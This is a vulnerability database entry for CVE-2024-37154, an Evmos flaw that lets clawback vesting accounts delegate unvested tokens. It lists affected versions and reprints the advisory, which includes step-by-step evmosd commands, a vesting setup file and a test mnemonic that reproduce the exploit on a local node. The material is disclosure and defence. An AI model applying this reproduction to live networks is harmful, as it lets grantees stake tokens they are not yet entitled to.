CVE-2024-37154: Evmos allows unvested token delegations
Impact What kind of vulnerability is it? Who is impacted? At the moment, users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via ClawbackVestingAccount. Patches Has the problem been patched? What versions should users upgrade to? The PR linked to this advisory includes part of the fix.
Published Jun 6, 2024 · Updated Oct 15, 2024
Affected packages
github.com/evmos/evmos/v18
- Ecosystem
- Go
- Affected
- <= 18.1.0
- Fixed in
- No patched version yet
- Check
go list -m github.com/evmos/evmos/v18
github.com/evmos/evmos/v17
- Ecosystem
- Go
- Affected
- <= 17.0.1
- Fixed in
- No patched version yet
- Check
go list -m github.com/evmos/evmos/v17
github.com/evmos/evmos/v16
- Ecosystem
- Go
- Affected
- <= 16.0.4
- Fixed in
- No patched version yet
- Check
go list -m github.com/evmos/evmos/v16
github.com/evmos/evmos/v15
- Ecosystem
- Go
- Affected
- <= 15.0.0
- Fixed in
- No patched version yet
- Check
go list -m github.com/evmos/evmos/v15
github.com/evmos/evmos/v14
- Ecosystem
- Go
- Affected
- <= 14.1.0
- Fixed in
- No patched version yet
- Check
go list -m github.com/evmos/evmos/v14
github.com/evmos/evmos/v13
- Ecosystem
- Go
- Affected
- <= 13.0.2
- Fixed in
- No patched version yet
- Check
go list -m github.com/evmos/evmos/v13
github.com/evmos/evmos/v12
- Ecosystem
- Go
- Affected
- <= 12.1.6
- Fixed in
- No patched version yet
- Check
go list -m github.com/evmos/evmos/v12
github.com/evmos/evmos/v11
- Ecosystem
- Go
- Affected
- <= 11.0.2
- Fixed in
- No patched version yet
- Check
go list -m github.com/evmos/evmos/v11
github.com/evmos/evmos/v10
- Ecosystem
- Go
- Affected
- <= 10.0.1
- Fixed in
- No patched version yet
- Check
go list -m github.com/evmos/evmos/v10
github.com/evmos/evmos/v9
- Ecosystem
- Go
- Affected
- <= 9.1.0
- Fixed in
- No patched version yet
- Check
go list -m github.com/evmos/evmos/v9
github.com/evmos/evmos/v8
- Ecosystem
- Go
- Affected
- <= 8.2.3
- Fixed in
- No patched version yet
- Check
go list -m github.com/evmos/evmos/v8
github.com/evmos/evmos/v7
- Ecosystem
- Go
- Affected
- <= 7.0.0
- Fixed in
- No patched version yet
- Check
go list -m github.com/evmos/evmos/v7
github.com/evmos/evmos/v6
- Ecosystem
- Go
- Affected
- <= 6.0.4
- Fixed in
- No patched version yet
- Check
go list -m github.com/evmos/evmos/v6
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Impact
_What kind of vulnerability is it? Who is impacted?_
At the moment, users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via ClawbackVestingAccount.
Patches
_Has the problem been patched? What versions should users upgrade to?_
The PR linked to this advisory includes part of the fix. The remainder is in a second advisory on the Cosmos SDK fork.
Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
There is no effective workaround to fix or remediate this issue without a new release. The best solution is to contain the information about this vulnerability to minimize the number of users who know about it and can thus exploit it.
References
_Are there any links users can visit to find out more?_
See the integration tests for more details on the exploit, or use the following to reproduce it on the CLI:
- Download
vesting_setup.jsonwith the following contents:
{
"start_time": 1679602272,
"periods": [
{
"coins": "100000000000000000000aevmos",
"length_seconds": 10
},
{
"coins": "100000000000000000000aevmos",
"length_seconds": 259200000
}
]
}- Run the following CLI commands to reproduce the issue locally:
evmosd tx vesting create-clawback-vesting-account evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --vesting vesting_setup.json --from dev0 --fees 2000000000000000aevmos --home ~/.tmp-evmosd --yes
# Verify that the balance contains zero locked tokens, 1000000000000000aevmos vested, 1000000000000000aevmos unvested
evmosd q vesting balances evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd
evmosd keys add key1 --recover --home ~/.tmp-evmosd
# Enter the following mnemonic
skate tell option purity cattle poverty street act bone govern way various
evmosd q staking validators --home ~/.tmp-evmosd | grep operator_address
# Substitute the operator address from the previous query
# Note that this delegates 70% of the user's available stake
evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes
# Re-run the same command
evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes
# Note that the total delegations now exceed the user's vested balance
evmosd q staking delegations evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosdReferences
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2024-39696
Evmos vulnerable to exploit of smart contract account and vesting
high8.8Jul 10, 2024CVE-2024-32873
evmos allows transferring unvested tokens after delegations
low3.5Jun 6, 2024CVE-2024-37153
Contract balance not updating correctly after interchain transaction
high7.5Jun 6, 2024GHSA-m99c-q26r-m7m7
Evmos vulnerable to unauthorized account creation with vesting module
mediumNo fixApr 17, 2024GHSA-v6rw-hhgg-wc4x
Evmos vulnerable to DOS and transaction fee expropiation through Authz exploit
critical9.1Apr 17, 2024CVE-2024-32644
Evmos transaction execution not accounting for all state transition after interaction with precompiles
critical9.1No fixApr 10, 2024
